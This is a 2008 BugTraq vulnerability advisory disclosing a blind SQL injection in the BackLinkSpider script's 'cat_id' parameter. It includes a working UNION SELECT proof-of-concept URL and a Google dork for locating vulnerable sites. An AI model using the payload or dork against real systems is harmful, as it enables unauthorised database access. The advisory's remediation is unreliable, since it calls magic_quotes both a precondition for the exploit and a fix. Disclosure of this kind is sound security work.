BugTraq
[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability May 05 2008 03:12PM
erdc echo or id
ECHO_ADV_95$2008

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[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt

Critical Lvl : Medium

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : BackLinkSpider

version : unknown

Vendor : http://www.backlinkspider.com/

Description :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query.

This can be exploited to execute sql query through the browser.

Successful exploitation requires that "magic_quotes" is enabled.

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]

http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%2
0select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*

Dork:

~~~~~

Google : "Powered By BackLinkSpider" "inurl:backlinkspider.php"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

Timeline:

~~~~~~~~~

- 03 - 05 - 2008 bug found

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke

~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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